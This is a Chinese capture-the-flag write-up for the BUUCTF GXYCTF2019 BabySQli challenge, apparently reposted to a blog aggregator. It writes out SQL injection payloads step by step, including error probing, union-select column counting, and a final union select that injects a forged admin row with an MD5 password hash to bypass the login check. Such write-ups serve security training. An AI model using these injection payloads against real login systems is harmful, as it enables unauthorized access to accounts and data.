BUUCTF [GXYCTF2019]BabySQli 1 详解!(MD5与SQL之间的碰撞)

题目环境
image.png
burp抓包

随便输入值

image.png
repeater放包
image.png

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式
通过测试发现是套加密(二次加密)
首先使用base32对此编码进行解码

base32解码
image.png
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码
image.png

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断
可以得出此题的注入点是参数name

判断注入类型

1
123

image.png

1’
123

image.png

发生报错
可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1
123

image.png

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin
密码暂且还不知道

判断字段数

1’ union select 1,2#
123

image.png

1’ union select 1,2,3#
123

image.png

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#
123

image.png

1’ union select 1,‘admin’,3#
123

image.png

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码
image.png

在search.php源代码哪里发现关键代码

image.png

if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}

发现参数password被md5加密
看着和之前做过的题很类似
大致就是传进去的值要进行md5值加密

换种方式猜测
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag

爆flag:

这里pw参数的值为123456
可以随便传
但是要对传入的那个值进行md5值加密
网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#
123456

image.png
得出flag:
flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/187465.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目11:豆瓣首页-页脚 完结撒花!

这次我们就来制作豆瓣首页的最后一部分页脚。 同样,页脚也在container中,页脚分为左区域和右区域,左区域里是多个p元素与a元素结合完成的,还要插入一些图片,右区域里里有几个横向菜单,以及一张图片。 左右…

近期知识点

aop (1) 要求利用AOP记录用户操作日志。内容包含以下信息:ip地址、用户名、请求的地址,请求的时间 ( 4 分) (2)要求利用AOP记录用户操作日志,日志记录到文本文件。内容包含以下信息&#xff…

在Spring Boot中使用JavaMailSender发送邮件

用了这么久的Spring Boot,我们对Spring Boot的了解应该也逐步进入正轨了,这篇文章讲的案例也在我们的实际开发中算是比较实用的了,毕竟我们完成注册功能和对用户群发消息,都可以采用到邮箱发送功能,往下看,…

寿险公司通过开源治理保障数字创新,安全打通高质量服务新通道

某寿险公司致力于为消费者提供人性化的产品和服务,在中国保险市场中始终保持前列。该寿险公司以挖掘和满足客户需求为出发点,从产品开发、渠道销售、运营流程和售后服务等各环节,借助数字化工具,不断地努力探索并提升服务品质。 精…

C++ :运算符重载

运算符重载: 运算符重载概念:对已有的运算符重新进行定义,赋予其另一种功能,以适应不同的数据类型 运算符的重载实际是一种特殊的函数重载,必须定义一个函数,并告诉C编译器,当遇到该重载的运算符…

第二十章 控制 XML 元素和属性名称 - 控制列表类型属性的元素和属性名称

文章目录 第二十章 控制 XML 元素和属性名称 - 控制列表类型属性的元素和属性名称控制列表类型属性的元素和属性名称控制数组类型属性的元素和属性名称 第二十章 控制 XML 元素和属性名称 - 控制列表类型属性的元素和属性名称 控制列表类型属性的元素和属性名称 注意&#xf…

IDEA中的Postman!

Postman是大家最常用的API调试工具,那么有没有一种方法可以不用手动写入接口到Postman,即可进行接口调试操作?今天给大家推荐一款IDEA插件:Apipost Helper,写完代码就可以调试接口并一键生成接口文档!而且还…

C语言声明(存储类别,作用域,链接属性)

声明 声明的语法 一般地,声明具有下列形式: 声明说明符 声明符;声明说明符(declaration specifier)描述声明的变量或函数的性质。 声明符(declarator)给出了它们的名字,并且可以提供关于其性质…

搭建Hadoop集群过程中常见错误的解决方案

格式化报错 权限问题 出现cannot creat directory或cannot creat file类型 如下报错信息: cannot create directory Permission denied如果使用的是 user 用户,多数情况下是因为文件权限问题,hadoop3.3.1、big_data(存数据&am…

【Java】14. 字符串

14. 字符串 14.1 String类的构造方法 public class StringDemo01 {public static void main(String[] args) {//public String():创建一个空白字符串对象,不含有任何内容String s1 new String();//public String(char[] chs):根据字符数组的…

SAP 如何检查已安装的SAP UI5 版本

第一个方法是直接从FLP中查看 但是部分高版本的FLP中没有这个about, 那么在当前界面可以使用:CTRL ALT SHIFT S 查看当前版本 根据此版本,去进行你的UI5的开发吧

观察者模式

1.观察者模式是什么呢? 观察者模式(有时又被称为发布-订阅Subscribe>模式、模型-视图View>模式、源-收听者Listener>模式或从属者模式)是软件设计模式的一种。在此种模式中,一个目标物件管理所有相依于它的观察者物件&am…

2分图匹配算法

定义 节点u直接无边,v之间无边,边只存在uv之间。判断方法:BFS染色法,全部染色后,相邻边不同色 无权二部图中的最大匹配 最大匹配即每一个都匹配上min(u, v)。贪心算法可能导致&…

【Unity】Blender场景导入

素材 下载场景:https://www.aplaybox.com/details/model/keDSIks72Qh3 blender文件导出为.fbx文件,路径选择复制(做的过程太乱了不知道有没有影响),物理类型选择网格,勾选应用变换 blender下的物体长度是u…

华为OD机试 - 计算三叉搜索树的高度(Java JS Python C)

题目描述 定义构造三叉搜索树规则如下: 每个节点都存有一个数,当插入一个新的数时,从根节点向下寻找,直到找到一个合适的空节点插入。查找的规则是: 如果数小于节点的数减去500,则将数插入节点的左子树如果数大于节点的数加上500,则将数插入节点的右子树否则,将数插入…

SS8813T 打印机驱动芯片

SS8813为打印机和其它电机一体化应用提供一种双通道集成电机驱动方案。SS8813有两路H桥驱动,每个H桥可提供最大峰值电流2.5A和均方根电流1.75A(在24V和Ta 25C适当散热条件下),可驱动两个刷式直流电机,或者一个双极步进电机,或者螺…

PyQt 笔记

参考文章 pyqt5:利用QFileDialog从本地选择图片\文本文档显示到label、保存图片\label文本到本地(附代码)_pyqt5中qfiledialog.getopenfileurl-CSDN博客 txt文件的打开与保存 def openTextFile(self): # 选择文本文件上传fd,fp QFileDialog.getOpen…

Xilinx FPGA——ISE的UCF时序约束

时序约束是我们对FPGA设计的要求和期望,例如,我们希望FPGA设计可以工作在多快的时钟频率下等等。 设计是要求系统中的每一个时钟都进行时序约束。 一、分组约束语法(NET、PIN、INST) TNM是最基本的分组约束语法,其语法…

【小布_ORACLE笔记】Part11-5 RMAN Backups

【小布_ORACLE笔记】Part11-5 RMAN Backups 文章目录 【小布_ORACLE笔记】Part11-5 RMAN Backups1. 增量备份(Incremental Backups)1.1差异增量备份(Differential Incremental Backup)1.2累积增量备份(Cumulative Incremental Bac…

Mysql 字符集配置修改操作

目录 服务器字符集和校对规则 数据库字符集和校对规则 表字符集和校对规则 列字符集和校对规则 例 1 连接字符集和校对规则 MySQL 服务器可以支持多种字符集,在同一台服务器、同一个数据库甚至同一个表的不同字段中,都可以使用不同的字符集。Oracl…